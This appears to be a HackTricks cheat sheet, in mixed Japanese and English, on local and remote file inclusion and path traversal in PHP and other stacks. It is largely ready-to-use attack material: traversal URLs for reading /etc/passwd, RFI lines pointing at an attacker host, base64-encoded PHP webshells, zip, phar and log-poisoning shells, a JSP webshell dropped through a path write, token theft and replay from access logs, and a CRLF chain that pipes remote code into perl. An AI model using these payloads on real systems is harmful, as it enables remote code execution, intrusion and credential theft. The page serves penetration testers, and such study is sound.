File Inclusion/Path traversal
Reading time: 41 minutes
tip
AWSハッキングを学び、実践する:
HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:
HackTricks Training GCP Red Team Expert (GRTE)
Azureハッキングを学び、実践する:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricksをサポートする
- サブスクリプションプランを確認してください!
- **💬 Discordグループまたはテレグラムグループに参加するか、Twitter 🐦 @hacktricks_liveをフォローしてください。
- HackTricksおよびHackTricks CloudのGitHubリポジトリにPRを提出してハッキングトリックを共有してください。
File Inclusion
Remote File Inclusion (RFI): ファイルがリモートサーバから読み込まれます(Best: あなたがコードを書き、サーバがそれを実行します)。In php ではこれは 無効 になっているのがデフォルトです(allow_url_include)。
Local File Inclusion (LFI): サーバがローカルファイルを読み込みます。
脆弱性は、ユーザがサーバが読み込むファイルを何らかの形で制御できる場合に発生します。
脆弱な PHP functions: require, require_once, include, include_once
A interesting tool to exploit this vulnerability: https://github.com/kurobeats/fimap
Blind - Interesting - LFI2RCE files
wfuzz -c -w ./lfi2.txt --hw 0 http://10.10.10.10/nav.php?page=../../../../../../../FUZZ
Linux
複数の *nix LFI リストを統合し、さらにパスを追加して作成したもの:
また / を \
また ../../../../../ を追加してみてください
複数の手法を用いて /etc/password を探すリストは here にあります
Windows
Merge of different wordlists:
また / を \
また C:/ を削除して ../../../../../ を追加してみてください
複数の手法を用いて /boot.ini を探すリストは here にあります
OS X
linux の LFI リストを参照してください。
Basic LFI and bypasses
All the examples are for Local File Inclusion but could be applied to Remote File Inclusion also (page=http://myserver.com/phpshellcode.txt\.
http://example.com/index.php?page=../../../etc/passwd
トラバーサルシーケンスが非再帰的に削除される
http://example.com/index.php?page=....//....//....//etc/passwd
http://example.com/index.php?page=....\/....\/....\/etc/passwd
http://some.domain.com/static/%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c/etc/passwd
Null byte (%00)
提供された文字列の末尾に余分な文字が追加される処理を回避する(回避対象: $_GET['param']."php")
http://example.com/index.php?page=../../../etc/passwd%00
これは PHP 5.4 以降で解決されています
エンコーディング
double URL encode のような非標準のエンコーディングを使用できます(その他も含む):
http://example.com/index.php?page=..%252f..%252f..%252fetc%252fpasswd
http://example.com/index.php?page=..%c0%af..%c0%af..%c0%afetc%c0%afpasswd
http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd
http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd%00
既存のフォルダから
バックエンドがフォルダパスをチェックしている可能性があります:
http://example.com/index.php?page=utils/scripts/../../../../../etc/passwd
サーバー上のファイルシステムディレクトリを探索する
サーバーのファイルシステムは、特定の手法を用いることで、ファイルだけでなくディレクトリも再帰的に探索できます。このプロセスは、ディレクトリの深さを特定し、特定のフォルダの存在を確認することを含みます。以下にその詳細な方法を示します:
- ディレクトリの深さを特定する: 現在のディレクトリの深さは、
/etc/passwdを正しく取得できることで確認します(サーバーが Linux ベースの場合に適用)。例として、深さが三を示す URL は次のような構成になることがあります:
http://example.com/index.php?page=../../../etc/passwd # depth of 3
- フォルダを探る: URLに疑わしいフォルダ名(例:
private)を追加し、次に/etc/passwdへ戻ってアクセスします。追加のディレクトリレベルによりdepthを1つ増やす必要があります:
http://example.com/index.php?page=private/../../../../etc/passwd # depth of 3+1=4
- 結果の解釈: サーバの応答でディレクトリの存在が分かる:
- エラー / 出力なし: 指定された場所に
privateディレクトリは存在しない可能性が高い。 /etc/passwdの内容:privateディレクトリの存在が確認される。
- 再帰的探索: 発見したディレクトリは、同じ手法や従来の Local File Inclusion (LFI) 手法を使ってサブディレクトリやファイルをさらに調査できる。
ファイルシステム内の別の場所のディレクトリを調べるには、payload を適宜調整する。例えば、/var/www/ に private ディレクトリが含まれているか確認するには(現在のディレクトリが深さ3にあると仮定して)次を使用する:
http://example.com/index.php?page=../../../var/www/private/../../../etc/passwd
Path Truncation Technique
Path truncation は、Webアプリケーションのファイルパスを操作するための手法です。ファイルパスの末尾に追加文字を付与するようなセキュリティ対策をバイパスして、アクセス制限されたファイルに到達するために使われることが多いです。目的は、セキュリティ対策によって改変された後でも、依然として狙ったファイルを指すようなファイルパスを作成することです。
PHPでは、ファイルシステムの性質上、ファイルパスの複数の表現が同等と見なされることがあります。例えば:
/etc/passwd,/etc//passwd,/etc/./passwd, および/etc/passwd/はすべて同じパスとして扱われます。- 最後の6文字が
passwdの場合、末尾に/を付けてpasswd/にしても対象ファイルは変わりません。 - 同様に、ファイルパスに
.phpが付与されている場合(例:shellcode.php)、末尾に/.を加えてもアクセスされるファイルは変わりません。
以下の例は、path truncation を利用して /etc/passwd にアクセスする方法を示しています。/etc/passwd は機密性の高い内容(ユーザーアカウント情報)を含むため、よく狙われます:
http://example.com/index.php?page=a/../../../../../../../../../etc/passwd......[ADD MORE]....
http://example.com/index.php?page=a/../../../../../../../../../etc/passwd/././.[ADD MORE]/././.
http://example.com/index.php?page=a/./.[ADD MORE]/etc/passwd
http://example.com/index.php?page=a/../../../../[ADD MORE]../../../../../etc/passwd
In these scenarios, the number of traversals needed might be around 2027, but this number can vary based on the server's configuration.
- Using Dot Segments and Additional Characters: Traversal sequences (
../) と追加のドットセグメントや文字を組み合わせることで、サーバーによって付加された文字列を事実上無効化してファイルシステムを遡ることができます。 - Determining the Required Number of Traversals: 試行錯誤により、ルートディレクトリまで、そして
/etc/passwdに到達するために必要な../シーケンスの正確な数を特定できます。これにより、.phpのような付加文字列を無効化しつつ、目的のパス(/etc/passwd)を維持できます。 - Starting with a Fake Directory: パスの先頭を存在しないディレクトリ(例:
a/)にするのは一般的な手法です。このテクニックは予防策として、またはサーバーのパス解析ロジックの要件を満たすために使われます。
When employing path truncation techniques, it's crucial to understand the server's path parsing behavior and filesystem structure. Each scenario might require a different approach, and testing is often necessary to find the most effective method.
This vulnerability was corrected in PHP 5.3.
Filter bypass tricks
http://example.com/index.php?page=....//....//etc/passwd
http://example.com/index.php?page=..///////..////..//////etc/passwd
http://example.com/index.php?page=/%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../etc/passwd
Maintain the initial path: http://example.com/index.php?page=/var/www/../../etc/passwd
http://example.com/index.php?page=PhP://filter
Remote File Inclusion
phpではデフォルトで無効になっています。これは allow_url_include が Off. になっているためです。動作させるには On にする必要があり、その場合は自分のサーバー上の PHP file を include して RCE を取得できます:
http://example.com/index.php?page=http://atacker.com/mal.php
http://example.com/index.php?page=\\attacker.com\shared\mal.php
何らかの理由で allow_url_include が On になっているが、PHP が外部ウェブページへのアクセスを フィルタリング している場合、この投稿 によれば、例えば data プロトコルと base64 を使って base64 エンコードされた PHP コードをデコードし RCE を得ることができます:
PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.txt
tip
前のコードでは、最後の +.txt は攻撃者が .txt で終わる文字列を必要としていたため追加されました。文字列はそれで終わり、b64 decode の後にその部分は単なるジャンクを返し、実際の PHP コードが含まれて(したがって実行され)ます。
別の例 php:// プロトコルを使用しない は次のようになります:
data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+txt
Python のルート要素
次のような Python のコードでは:
# file_name is controlled by a user
os.path.join(os.getcwd(), "public", file_name)
ユーザーが absolute path を file_name に渡すと、以前のパスは単に削除されます:
os.path.join(os.getcwd(), "public", "/etc/passwd")
'/etc/passwd'
これはthe docsに記載されている通り、意図された動作です:
コンポーネントが絶対パスである場合、すべての前のコンポーネントは破棄され、結合は絶対パスのコンポーネントから続行されます。
Java のディレクトリ一覧
JavaでPath Traversalがある場合、ファイルの代わりにディレクトリを要求すると、ディレクトリの一覧が返されるようです。他の言語では(私の知る限り)これは起こりません。
上位25のパラメータ
local file inclusion (LFI) の脆弱性を引き起こす可能性のある上位25のパラメータの一覧は次のとおりです(出典: link):
?cat={payload}
?dir={payload}
?action={payload}
?board={payload}
?date={payload}
?detail={payload}
?file={payload}
?download={payload}
?path={payload}
?folder={payload}
?prefix={payload}
?include={payload}
?page={payload}
?inc={payload}
?locate={payload}
?show={payload}
?doc={payload}
?site={payload}
?type={payload}
?view={payload}
?content={payload}
?document={payload}
?layout={payload}
?mod={payload}
?conf={payload}
LFI / RFI using PHP wrappers & protocols
php://filter
PHP filters は、データが読み書きされる前に基本的な 変更操作 を行うことを可能にします。フィルタは5つのカテゴリに分かれます:
- String Filters:
string.rot13string.toupperstring.tolowerstring.strip_tags: データからタグを削除します("<" と ">" 文字の間のすべて)- Note that this filter has disappear from the modern versions of PHP
- Conversion Filters
convert.base64-encodeconvert.base64-decodeconvert.quoted-printable-encodeconvert.quoted-printable-decodeconvert.iconv.*: 別のエンコーディングに変換します (convert.iconv.<input_enc>.<output_enc>)。サポートされている全てのエンコーディングの一覧を取得するにはコンソールで次を実行してください:iconv -l
warning
convert.iconv.* を悪用すると任意のテキストを生成でき、任意のテキストを書き込んだり include のような関数に任意のテキストを処理させるのに役立つことがあります。詳しくは LFI2RCE via php filters を参照してください。
- Compression Filters
zlib.deflate: コンテンツを圧縮します(大量の情報をexfiltratingする場合に有用)zlib.inflate: データを展開します- Encryption Filters
mcrypt.*: 非推奨mdecrypt.*: 非推奨- Other Filters
- phpで
var_dump(stream_get_filters());を実行すると、いくつかの意外なフィルタを見つけることができます: consumeddechunk: HTTP の chunked encoding を逆にしますconvert.*
# String Filters
## Chain string.toupper, string.rot13 and string.tolower reading /etc/passwd
echo file_get_contents("php://filter/read=string.toupper|string.rot13|string.tolower/resource=file:///etc/passwd");
## Same chain without the "|" char
echo file_get_contents("php://filter/string.toupper/string.rot13/string.tolower/resource=file:///etc/passwd");
## string.string_tags example
echo file_get_contents("php://filter/string.strip_tags/resource=data://text/plain,<b>Bold</b><?php php code; ?>lalalala");
# Conversion filter
## B64 decode
echo file_get_contents("php://filter/convert.base64-decode/resource=data://plain/text,aGVsbG8=");
## Chain B64 encode and decode
echo file_get_contents("php://filter/convert.base64-encode|convert.base64-decode/resource=file:///etc/passwd");
## convert.quoted-printable-encode example
echo file_get_contents("php://filter/convert.quoted-printable-encode/resource=data://plain/text,£hellooo=");
=C2=A3hellooo=3D
## convert.iconv.utf-8.utf-16le
echo file_get_contents("php://filter/convert.iconv.utf-8.utf-16le/resource=data://plain/text,trololohellooo=");
# Compresion Filter
## Compress + B64
echo file_get_contents("php://filter/zlib.deflate/convert.base64-encode/resource=file:///etc/passwd");
readfile('php://filter/zlib.inflate/resource=test.deflated'); #To decompress the data locally
# note that PHP protocol is case-inselective (that's mean you can use "PhP://" and any other varient)
warning
この部分 "php://filter" は大文字と小文字を区別しません
php filters を oracle として使って任意のファイルを読む
In this post は、サーバーから出力が返されない状態でローカルファイルを読む手法を提案しています。This technique is based on a boolean exfiltration of the file (char by char) using php filters as oracle. これは php filters を使ってテキストを十分に大きくして php に例外を発生させることができるためです。
元の投稿には手法の詳細な説明がありますが、ここでは手早い要約を示します:
- Use the codec
UCS-4LEto leave leading character of the text at the begging and make the size of string increases exponentially. - これにより、先頭文字が正しく推測されたときに非常に大きくなるテキスト を生成し、php が エラー を引き起こすようになります。
- The dechunk filter will remove everything if the first char is not an hexadecimal, so we can know if the first char is hex.
- これは前の手法(および推測した文字に依存する他の filters)と組み合わせることで、十分な変換を行って先頭文字が16進数でなくなるタイミングを見て、テキスト先頭の文字を推測できるようにします。もし16進数であれば dechunk は削除せず、初期の爆弾が作用して php エラーが発生します。
- The codec convert.iconv.UNICODE.CP930 transforms every letter in the following one (so after this codec: a -> b). This allow us to discovered if the first letter is an
afor example because if we apply 6 of this codec a->b->c->d->e->f->g the letter isn't anymore a hexadecimal character, therefore dechunk doesn't deleted it and the php error is triggered because it multiplies with the initial bomb. - 先頭が数字の場合は base64 encode して最初の2文字を leak し、数値を判別する必要があります。
- The final problem is to see how to leak more than the initial letter. By using order memory filters like convert.iconv.UTF16.UTF-16BE, convert.iconv.UCS-4.UCS-4LE, convert.iconv.UCS-4.UCS-4LE is possible to change the order of the chars and get in the first position other letters of the text.
- And in order to be able to obtain further data the idea if to generate 2 bytes of junk data at the beginning with convert.iconv.UTF16.UTF16, apply UCS-4LE to make it pivot with the next 2 bytes, and dデータをジャンクデータが出るまで削除する (this will remove the first 2 bytes of the initial text). Continue doing this until you reach the disired bit to leak.
In the post a tool to perform this automatically was also leaked: php_filters_chain_oracle_exploit.
php://fd
This wrapper allows to access file descriptors that the process has open. Potentially useful to exfiltrate the content of opened files:
echo file_get_contents("php://fd/3");
$myfile = fopen("/etc/passwd", "r");
また、php://stdin, php://stdout and php://stderr を使用して、それぞれ file descriptors 0, 1 and 2 にアクセスできます(攻撃でどのように役立つかは不明です)
zip:// and rar://
PHPShell を含む Zip または Rar ファイルをアップロードしてアクセスします。
rar プロトコルを悪用するには、特に有効化する必要があります。
echo "<pre><?php system($_GET['cmd']); ?></pre>" > payload.php;
zip payload.zip payload.php;
mv payload.zip shell.jpg;
rm payload.php
http://example.com/index.php?page=zip://shell.jpg%23payload.php
# To compress with rar
rar a payload.rar payload.php;
mv payload.rar shell.jpg;
rm payload.php
http://example.com/index.php?page=rar://shell.jpg%23payload.php
data://
http://example.net/?page=data://text/plain,<?php echo base64_encode(file_get_contents("index.php")); ?>
http://example.net/?page=data://text/plain,<?php phpinfo(); ?>
http://example.net/?page=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4=
http://example.net/?page=data:text/plain,<?php echo base64_encode(file_get_contents("index.php")); ?>
http://example.net/?page=data:text/plain,<?php phpinfo(); ?>
http://example.net/?page=data:text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4=
NOTE: the payload is "<?php system($_GET['cmd']);echo 'Shell done !'; ?>"
このプロトコルは php の設定 allow_url_open および allow_url_include によって制限されることに注意してください
expect://
Expect を有効にする必要があります。これを使用してコードを実行できます:
http://example.com/index.php?page=expect://id
http://example.com/index.php?page=expect://ls
input://
POSTパラメータにペイロードを指定してください:
curl -XPOST "http://example.com/index.php?page=php://input" --data "<?php system('id'); ?>"
phar://
.phar ファイルは、ウェブアプリケーションがファイル読み込みに include のような関数を利用する場合に PHP コードを実行するために利用できます。下の PHP コードスニペットは .phar ファイルの作成を示しています:
<?php
$phar = new Phar('test.phar');
$phar->startBuffering();
$phar->addFromString('test.txt', 'text');
$phar->setStub('<?php __HALT_COMPILER(); system("ls"); ?>');
$phar->stopBuffering();
.phar ファイルをコンパイルするには、次のコマンドを実行してください:
php --define phar.readonly=0 create_path.php
実行すると、test.phar というファイルが作成され、Local File Inclusion (LFI) の脆弱性を悪用するために利用される可能性があります。
LFI が PHP コードを実行せずファイルの読み取りのみを行う場合(file_get_contents(), fopen(), file(), file_exists(), md5_file(), filemtime(), filesize() などの関数を通じて)、phar プロトコルを使ったファイル読み取りに関連する deserialization vulnerability の悪用を試みることができます。
.phar ファイルにおける deserialization 脆弱性の悪用について詳しくは、下のドキュメントを参照してください:
Phar Deserialization Exploitation Guide
CVE-2024-2961
php filters をサポートする PHP からの 任意のファイル読み取りを悪用して RCE を得ることが可能でした。詳細な説明は found in this post. を参照してください。
簡単な要約: PHP ヒープの 3 byte overflow を悪用して特定サイズのフリー・チャンクのチェーンを変更し、任意のアドレスに任意のデータを書き込めるようにして system を呼ぶフックを追加しました。
さらに、複数の php filters を悪用して特定サイズのチャンクを alloc することが可能でした。
More protocols
詳しくは protocols to include here: を確認してください
- php://memory and php://temp — メモリまたは一時ファイルに書き込む(file inclusion attack においてどのように有用かは不明)
- file:// — ローカルファイルシステムにアクセス
- http:// — HTTP(s) URL にアクセス
- ftp:// — FTP(s) URL にアクセス
- zlib:// — 圧縮ストリーム
- glob:// — パターンに一致するパス名を検索(表示可能な内容を返さないため、ここではあまり有用ではない)
- ssh2:// — Secure Shell 2
- ogg:// — オーディオストリーム(任意のファイルを読むのには向かない)
PHP の 'assert' を介した LFI
PHP において 'assert' 関数を扱う場合、Local File Inclusion (LFI) のリスクは特に高くなります。'assert' は文字列内のコードを実行できるためです。特に、".." のような directory traversal を含む入力が検査されているが適切にサニタイズされていない場合に問題になります。
例えば、PHP のコードは以下のように directory traversal を防止するように設計されているかもしれません:
assert("strpos('$file', '..') === false") or die("");
これは traversal を防ぐことを目的としているが、意図せず code injection のベクターを作り出してしまう。ファイルの内容を読み取るためにこれを悪用するには、攻撃者は次のようなものを使うことができる:
' and die(highlight_file('/etc/passwd')) or '
同様に、任意のシステムコマンドを実行するには、次のように使うことがあります:
' and die(system("id")) or '
It's important to URL-encode these payloads.
PHP Blind Path Traversal
warning
この手法は、あなたがファイルパスを制御でき、PHP関数がファイルにアクセスするが、そのファイルの内容が表示されない(例: 単純なfile()の呼び出し)ようなケースに関連します。
In this incredible post it's explained how a blind path traversal can be abused via PHP filter to exfiltrate the content of a file via an error oracle.
As sumary, the technique is using the "UCS-4LE" encoding to make the content of a file so big that the PHP function opening the file will trigger an error.
Then, in order to leak the first char the filter dechunk is used along with other such as base64 or rot13 and finally the filters convert.iconv.UCS-4.UCS-4LE and convert.iconv.UTF16.UTF-16BE are used to place other chars at the beggining and leak them.
Functions that might be vulnerable: file_get_contents, readfile, finfo->file, getimagesize, md5_file, sha1_file, hash_file, file, parse_ini_file, copy, file_put_contents (only target read only with this), stream_get_contents, fgets, fread, fgetc, fgetcsv, fpassthru, fputs
For the technical details check the mentioned post!
LFI2RCE
Arbitrary File Write via Path Traversal (Webshell RCE)
When server-side code that ingests/uploads files builds the destination path using user-controlled data (e.g., a filename or URL) without canonicalising and validating it, .. segments and absolute paths can escape the intended directory and cause an arbitrary file write. If you can place the payload under a web-exposed directory, you usually get unauthenticated RCE by dropping a webshell.
Typical exploitation workflow:
- Identify a write primitive in an endpoint or background worker that accepts a path/filename and writes content to disk (e.g., message-driven ingestion, XML/JSON command handlers, ZIP extractors, etc.).
- Determine web-exposed directories. Common examples:
- Apache/PHP:
/var/www/html/ - Tomcat/Jetty:
<tomcat>/webapps/ROOT/→ dropshell.jsp - IIS:
C:\inetpub\wwwroot\→ dropshell.aspx - Craft a traversal path that breaks out of the intended storage directory into the webroot, and include your webshell content.
- Browse to the dropped payload and execute commands.
Notes:
- The vulnerable service that performs the write may listen on a non-HTTP port (e.g., a JMF XML listener on TCP 4004). The main web portal (different port) will later serve your payload.
- On Java stacks, these file writes are often implemented with simple
File/Pathsconcatenation. Lack of canonicalisation/allow-listing is the core flaw.
Generic XML/JMF-style example (product schemas vary – the DOCTYPE/body wrapper is irrelevant for the traversal):
<?xml version="1.0" encoding="UTF-8"?>
<JMF SenderID="hacktricks" Version="1.3">
<Command Type="SubmitQueueEntry">
<!-- Write outside the intake folder into the webroot via traversal -->
<Resource Name="FileName">../../../webapps/ROOT/shell.jsp</Resource>
<Data>
<![CDATA[
<%@ page import="java.io.*" %>
<%
String c = request.getParameter("cmd");
if (c != null) {
Process p = Runtime.getRuntime().exec(c);
try (var in = p.getInputStream(); var out = response.getOutputStream()) {
in.transferTo(out);
}
}
%>
]]>
</Data>
</Command>
</JMF>
Hardening that defeats this class of bugs:
- 正規化されたパスに解決し、allow-listed base directory の子孫であることを強制する。
..、絶対ルート、ドライブレターを含むパスは拒否する;生成されたファイル名を優先する。- 書き込み処理は権限の低いアカウントで実行し、書き込み用ディレクトリを配信ルートから分離する。
Remote File Inclusion
Explained previously, follow this link.
Via Apache/Nginx log file
If the Apache or Nginx server is vulnerable to LFI inside the include function you could try to access to /var/log/apache2/access.log or /var/log/nginx/access.log, set inside the user agent or inside a GET parameter a php shell like <?php system($_GET['c']); ?> and include that file
warning
Note that if you use double quotes for the shell instead of simple quotes, the double quotes will be modified for the string "quote;", PHP will throw an error there and nothing else will be executed.
Also, make sure you write correctly the payload or PHP will error every time it tries to load the log file and you won't have a second opportunity.
これは他のログでも同様に行えますが、注意してください。ログ内のコードがURLエンコードされている場合があり、それによってShellが壊れる可能性があります。ヘッダの authorisation "basic" には Base64 エンコードされた "user:password" が含まれ、ログ内でデコードされます。PHPShell はこのヘッダ内に挿入できる可能性があります。
Other possible log paths:
/var/log/apache2/access.log
/var/log/apache/access.log
/var/log/apache2/error.log
/var/log/apache/error.log
/usr/local/apache/log/error_log
/usr/local/apache2/log/error_log
/var/log/nginx/access.log
/var/log/nginx/error.log
/var/log/httpd/error_log
Fuzzing wordlist: https://github.com/danielmiessler/SecLists/tree/master/Fuzzing/LFI
アクセスログを読み、GETベースのauthトークンを収集する (token replay)
多くのアプリは誤って session/auth tokens を GET 経由で受け付けます(例: AuthenticationToken、token、sid)。path traversal/LFI のプリミティブで web server のアクセスログにアクセスできる場合、それらのトークンをアクセスログから抜き出して再生することで認証を完全にバイパスできます。
How-to:
- Use the traversal/LFI to read the web server access log. Common locations:
- /var/log/apache2/access.log, /var/log/httpd/access_log
- /var/log/nginx/access.log
- Some endpoints return file reads Base64-encoded. If so, decode locally and inspect the log lines.
- Grep for GET requests that include a token parameter and capture its value, then replay it against the application entry point.
Example flow (generic):
GET /vuln/asset?name=..%2f..%2f..%2f..%2fvar%2flog%2fapache2%2faccess.log HTTP/1.1
Host: target
本文が Base64 の場合はデコードし、キャプチャした token をリプレイする:
GET /portalhome/?AuthenticationToken=<stolen_token> HTTP/1.1
Host: target
Notes:
- URLs内の Tokens はデフォルトでログに記録されます。production 環境では GET 経由の bearer tokens を決して受け入れないでください。
- アプリが複数の token 名をサポートしている場合は、AuthenticationToken, token, sid, access_token のような一般的なキーを探してください。
- ログに leaked している可能性のある tokens はすべて Rotate してください。
Via Email
メールを送る 内部アカウント (user@localhost) に、<?php echo system($_REQUEST["cmd"]); ?> のような PHP ペイロードを含め、ユーザーのメールを /var/mail/<USERNAME> または /var/spool/mail/<USERNAME> のようなパスで include してみてください。
Via /proc//fd/
- 多数の shells をアップロードする(例: 100)
- Include http://example.com/index.php?page=/proc/$PID/fd/$FD、ここで $PID はプロセスの PID(brute forced 可能)、$FD は file descriptor(これも brute forced 可能)です。
Via /proc/self/environ
ログファイルのように、User-Agent にペイロードを入れて送信すると、/proc/self/environ ファイル内に反映されます。
GET vulnerable.php?filename=../../../proc/self/environ HTTP/1.1
User-Agent: <?=phpinfo(); ?>
Via upload
ファイルをアップロードできる場合は、そのファイルにshell payloadを注入してください(例:<?php system($_GET['c']); ?>)。
http://example.com/index.php?page=path/to/uploaded/file.png
ファイルを読みやすく保つためには、画像/ドキュメント/PDFのメタデータに注入するのが最良です
ZIPファイルアップロード経由
圧縮されたPHPシェルを含むZIPファイルをアップロードしてアクセス:
example.com/page.php?file=zip://path/to/zip/hello.zip%23rce.php
PHP sessions 経由
ウェブサイトが PHP Session (PHPSESSID) を使用しているか確認する
Set-Cookie: PHPSESSID=i56kgbsq9rm8ndg3qbarhsbm27; path=/
Set-Cookie: user=admin; expires=Mon, 13-Aug-2018 20:21:29 GMT; path=/; httponly
PHPでは、これらのセッションは /var/lib/php5/sess\[PHPSESSID]_ ファイルに保存されます
/var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm27.
user_ip|s:0:"";loggedin|s:0:"";lang|s:9:"en_us.php";win_lin|s:0:"";user|s:6:"admin";pass|s:6:"admin";
Cookie を <?php system('cat /etc/passwd');?> に設定してください
login=1&user=<?php system("cat /etc/passwd");?>&pass=password&lang=en_us.php
LFIを使ってPHPのセッションファイルを読み込む
login=1&user=admin&pass=password&lang=/../../../../../../../../../var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm2
ssh経由
sshが有効な場合、どのユーザが使われているかを確認する(/proc/self/status & /etc/passwd)して、<HOME>/.ssh/id_rsa にアクセスを試みる
経由 vsftpd ログ
FTPサーバ vsftpd のログは /var/log/vsftpd.log にあります。Local File Inclusion (LFI) 脆弱性が存在し、公開された vsftpd サーバにアクセスできる場合、次の手順を検討できます:
- ログイン時に username フィールドに PHP ペイロードを注入する。
- 注入後、LFIを利用してサーバログ /var/log/vsftpd.log を取得する。
php base64 filter 経由 (using base64)
この記事に示されているように、PHP base64 filter は Non-base64 を無視します。これを使ってファイル拡張子チェックを回避できます:base64 を渡し、それが ".php" で終わる場合、「.」を無視して base64 に "php" を付加します。以下は例のペイロードです:
http://example.com/index.php?page=PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.php
NOTE: the payload is "<?php system($_GET['cmd']);echo 'Shell done !'; ?>"
Via php filters (no file needed)
This writeup は、php filters を使用して任意のコンテンツを出力として生成できることを説明しています。つまり、include のために 任意の php code を生成でき、ファイルに書き込む必要はありません。
Via segmentation fault
Upload され /tmp に temporary として保存されるファイルを用意し、同じリクエスト内で segmentation fault を発生させると、temporary ファイルは削除されず に残るため、それを探すことができます。
LFI2RCE via Segmentation Fault
Via Nginx temp file storage
もし Local File Inclusion を発見し、PHP の前に Nginx が動作している場合、次の手法で RCE を得られる可能性があります:
Via PHP_SESSION_UPLOAD_PROGRESS
たとえ session を持っていない 場合や session.auto_start が Off の場合でも Local File Inclusion を発見していれば、multipart POST データに PHP_SESSION_UPLOAD_PROGRESS を含めることで、PHP が自動的にセッションを有効にします。これを悪用して RCE を取得できる可能性があります:
LFI2RCE via PHP_SESSION_UPLOAD_PROGRESS
Via temp file uploads in Windows
もし Local File Inclusion を発見し、サーバーが Windows 上で動作している場合、RCE を得られる可能性があります:
Via pearcmd.php + URL args
As explained in this post, the script /usr/local/lib/phppearcmd.php exists by default in php docker images. Moreover, it's possible to pass arguments to the script via the URL because it's indicated that if a URL param doesn't have an =, it should be used as an argument. See also watchTowr’s write-up and Orange Tsai’s “Confusion Attacks”.
次のリクエストは /tmp/hello.php に <?=phpinfo()?> の内容を持つファイルを作成します:
GET /index.php?+config-create+/&file=/usr/local/lib/php/pearcmd.php&/<?=phpinfo()?>+/tmp/hello.php HTTP/1.1
以下は CRLF vuln を悪用して RCE を取得する例です(出典: here):
http://server/cgi-bin/redir.cgi?r=http:// %0d%0a
Location:/ooo? %2b run-tests %2b -ui %2b $(curl${IFS}orange.tw/x|perl) %2b alltests.php %0d%0a
Content-Type:proxy:unix:/run/php/php-fpm.sock|fcgi://127.0.0.1/usr/local/lib/php/pearcmd.php %0d%0a
%0d%0a
phpinfo() 経由 (file_uploads = on)
もしLocal File Inclusionを発見し、file_uploads = onで**phpinfo()**を出力するファイルがあれば、RCEを取得できます:
compress.zlib + PHP_STREAM_PREFER_STUDIO + Path Disclosure 経由
もしLocal File Inclusionを発見し、テンポラリファイルのパスをexfiltrateできるが、serverが含めるファイルにPHPマークがあるかをcheckingしている場合、このRace Conditionでそのチェックをbypassしてみてください:
LFI2RCE Via compress.zlib + PHP_STREAM_PREFER_STUDIO + Path Disclosure
eternal waiting + bruteforce 経由
もしLFIを悪用してテンポラリファイルをuploadし、サーバーがPHP実行をhangさせられるなら、何時間もかけてファイル名をbrute forceしてテンポラリファイルを見つけられるかもしれません:
To Fatal Error
もし /usr/bin/phar, /usr/bin/phar7, /usr/bin/phar.phar7, /usr/bin/phar.phar のいずれかを include するとエラーになります。(そのエラーを発生させるには同じファイルを2回 include する必要があります)
これがどのように有用かは分かりませんが、役に立つ可能性があります。
たとえPHPのFatal Errorを引き起こしても、アップロードされたPHPのテンポラリファイルは削除されます。
.png)
参考
-
PayloadsAllTheThings/tree/master/File%20Inclusion%20-%20Path%20Traversal/Intruders
-
When Audits Fail: Four Critical Pre-Auth Vulnerabilities in TRUfusion Enterprise
tip
AWSハッキングを学び、実践する:
HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:
HackTricks Training GCP Red Team Expert (GRTE)
Azureハッキングを学び、実践する:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricksをサポートする
- サブスクリプションプランを確認してください!
- **💬 Discordグループまたはテレグラムグループに参加するか、Twitter 🐦 @hacktricks_liveをフォローしてください。
- HackTricksおよびHackTricks CloudのGitHubリポジトリにPRを提出してハッキングトリックを共有してください。
HackTricks